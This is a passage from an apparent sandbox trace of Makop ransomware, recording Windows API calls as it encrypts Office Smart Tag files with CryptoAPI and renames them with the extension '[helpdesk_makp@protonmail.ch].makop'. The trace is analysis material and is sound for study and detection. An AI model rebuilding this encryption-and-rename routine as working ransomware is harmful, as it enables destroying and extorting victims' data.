cAlternateFileName="")) returned 1 [0094.976] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0094.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0094.976] GetProcessHeap () returned 0x48a0000 [0094.976] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.976] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0094.977] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xa, lpOverlapped=0x0) returned 1 [0094.981] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0094.981] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.981] GetProcessHeap () returned 0x48a0000 [0094.981] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0094.981] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0094.981] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0094.981] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0094.981] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0094.982] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0094.982] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0094.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0094.982] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0094.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0094.982] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.982] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x22d6, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x22d6, lpOverlapped=0x0) returned 1 [0094.984] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x22e0) returned 1 [0094.984] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.984] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x22e0, lpOverlapped=0x0) returned 1 [0094.984] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0094.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x23a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.985] SetEndOfFile (hFile=0x114) returned 1 [0094.992] GetProcessHeap () returned 0x48a0000 [0094.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.992] GetProcessHeap () returned 0x48a0000 [0094.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.992] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0094.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.997] CloseHandle (hObject=0x114) returned 1 [0094.997] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0094.997] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0094.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0094.998] GetProcessHeap () returned 0x48a0000 [0094.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.998] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0094.998] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xc, lpOverlapped=0x0) returned 1 [0095.003] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0095.003] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.004] GetProcessHeap () returned 0x48a0000 [0095.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.004] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0095.004] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0095.004] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0095.004] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0095.004] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0095.004] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0095.005] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0095.005] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0095.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0095.005] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.005] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.005] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x734, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x734, lpOverlapped=0x0) returned 1 [0095.005] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x740, dwBufLen=0x740 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x740) returned 1 [0095.005] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.006] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x740, lpOverlapped=0x0) returned 1 [0095.006] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0095.006] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.006] SetEndOfFile (hFile=0x114) returned 1 [0095.012] GetProcessHeap () returned 0x48a0000 [0095.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.013] GetProcessHeap () returned 0x48a0000 [0095.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.013] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.014] CloseHandle (hObject=0x114) returned 1 [0095.014] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0095.014] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0095.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0095.015] GetProcessHeap () returned 0x48a0000 [0095.015] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.015] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0095.015] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x7, lpOverlapped=0x0) returned 1 [0095.020] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0095.020] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.020] GetProcessHeap () returned 0x48a0000 [0095.020] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.020] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0095.020] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0095.020] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0095.020] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0095.021] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0095.021] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0095.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0095.021] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0095.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0095.021] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.022] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9869, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x9869, lpOverlapped=0x0) returned 1 [0095.024] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x9870, dwBufLen=0x9870 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x9870) returned 1 [0095.024] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.024] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x9870, lpOverlapped=0x0) returned 1 [0095.025] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0095.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.025] SetEndOfFile (hFile=0x114) returned 1 [0095.032] GetProcessHeap () returned 0x48a0000 [0095.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.032] GetProcessHeap () returned 0x48a0000 [0095.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.033] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0095.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.034] CloseHandle (hObject=0x114) returned 1 [0095.034] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0095.034] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0095.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0095.035] GetProcessHeap () returned 0x48a0000 [0095.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.035] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0095.035] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x1, lpOverlapped=0x0) returned 1 [0095.039] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0095.039] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.039] GetProcessHeap () returned 0x48a0000 [0095.039] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.039] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0095.039] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0095.039] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0095.040] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0095.040] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0095.040] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0095.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0095.040] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0095.041] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0095.041] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.041] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa7f, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0xa7f, lpOverlapped=0x0) returned 1 [0095.041] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0xa80, dwBufLen=0xa80 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0xa80) returned 1 [0095.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.041] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0xa80, lpOverlapped=0x0) returned 1 [0095.041] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0095.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.041] SetEndOfFile (hFile=0x114) returned 1 [0095.049] GetProcessHeap () returned 0x48a0000 [0095.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.049] GetProcessHeap () returned 0x48a0000 [0095.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.049] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0095.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart 